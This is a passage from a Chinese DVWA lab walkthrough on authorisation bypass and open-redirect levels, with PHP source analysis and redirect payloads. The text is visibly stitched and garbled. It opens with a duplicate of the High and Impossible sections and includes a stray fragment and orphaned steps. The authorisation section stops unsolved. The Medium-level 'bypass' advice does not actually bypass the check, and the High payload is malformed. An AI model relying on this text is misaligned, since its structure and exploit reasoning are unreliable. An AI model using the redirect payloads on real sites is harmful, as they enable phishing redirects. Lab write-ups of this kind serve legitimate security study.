如果 $_GET[‘redirect’] 参数不包含字符串 “info.php”,则返回 HTTP 响应码 500(服务器内部错误)并输出一段提示信息:“You can only redirect to the info page.”
如果没有传递 “redirect” 参数,或者其值为空,则同样返回 HTTP 响应码 500,并输出另一段提示信息:“Missing redirect target.”
则在构造参数时是指包含字符串info.php即可
payload:?redirect=https//www.baidu.com/?redirect=info.php
4.Impossible
源码:
其实这关就是设置了白名单他只允许传入参数的值为他指定的其余的均无效
OVER!
uSd8-1708660238904)]
然后提交即可
如图:
[外链图片转存中…(img-fzOl1m0a-1708660238904)]
4.Impossible
页面提示如图:
[外链图片转存中…(img-VDnBQu8v-1708660238904)]
大致意思是:你永远不能相信来自用户的任何东西,或者阻止他们破坏它,但是你又不能阻止用户的输入因为这样可能会干扰网站的正常使用,所以不存在Impossible级别
十五、Authorisation Bypass
授权绕过(Authorization Bypass)是指在计算机系统中绕过正常的授权机制,未经授权就访问系统资源的行为。这通常涉及到利用系统漏洞、配置错误或安全策略的弱点,以非法方式获取对敏感数据、应用程序或系统的访问权限
1.Low
[外链图片转存中…(img-S4IuShCW-1708660238904)]
进入页面显示
此页面只能由管理员用户访问。您面临的挑战是使用其他用户之一访问这些功能,例如gordonb/abc 123
然后我们重新打开一个没登录过的dvwa然后使用他给我们的账密gordonb/abc 123进行登录
如图:
[外链图片转存中…(img-w20yL0Gi-1708660238904)]
我们发现用户是没有授权绕过这一选项的
十六、Vulnerability: Open HTTP Redirect
1.Low
先看源码如图:
[外链图片转存中…(img-H8NfalZG-1708660238904)]
先通过 array_key_exists 函数判断 $_GET 数组中是否存在 redirect 键值,如果存在且不为空,则调用 header 函数,否则返回 500 状态码然后调用 header 函数,将 Location 字段设置为 $ GET[‘redirect’] 的值,完成重定向操作。exit 函数用于终止脚本的执行,确保 header 函数的执行效果
由于源码没有对重定向参数传递进行任何过滤
因此构造Payload:
?redirect=跳转网页URL
2.Medium
先分析源码
如图:
[外链图片转存中…(img-xG4oU0ej-1708660238905)]
此关代码与上一关的主要不同的点在于使用了正则匹配
正则表达式 preg_match 来检查 $_GET[‘redirect’] 的值是否以 “http://” 或 “https://” 开头且不区分大小写
如果匹配到了这两个前缀会返回 HTTP 响应码 500并输出提示信息 " Absolute URLs not allowed "然后程序终止执行
如果没有匹配到绝对 URL 的前缀,即以相对路径形式存在,将执行接下来的代码
使用 header 函数将浏览器重定向到 $ GET[‘redirect’] 指定的地址
执行 exit 终止后续代码的执行
因此我们可以使用 JavaScript 进行重定向或者创建一个中间代理页面
以下是一个示例 JavaScript 代码:
<script type="text/javascript">
var redirectURL = "http://www.example.com"; // 设置要重定向的网页地址
window.location.href = redirectURL; // 执行重定向
</script>
将上述代码插入到编辑器的代码中,加载该网页时,JavaScript 代码会将用户重定向到指定的网页。
3.High
代码分析:
[外链图片转存中…(img-swtDIdrU-1708660238905)]
此关与上一关的不同点在于
检查 $_GET[‘redirect’] 参数中是否包含字符串 “info.php”。这里使用了 strpos() 函数来检查字符串中是否包含指定的内容
如果 $_GET[‘redirect’] 参数包含字符串 “info.php”,则使用 header() 函数进行重定向,将用户重定向到 $GET[‘redirect’] 中指定的页面
如果 $_GET[‘redirect’] 参数不包含字符串 “info.php”,则返回 HTTP 响应码 500(服务器内部错误)并输出一段提示信息:“You can only redirect to the info page.”
如果没有传递 “redirect” 参数,或者其值为空,则同样返回 HTTP 响应码 500,并输出另一段提示信息:“Missing redirect target.”
则在构造参数时是指包含字符串info.php即可
payload:?redirect=https//www.baidu.com/?redirect=info.php
4.Impossible
源码:
[外链图片转存中…(img-46rxy0os-1708660238905)]
其实这关就是设置了白名单他只允许传入参数的值为他指定的其余的均无效
OVER!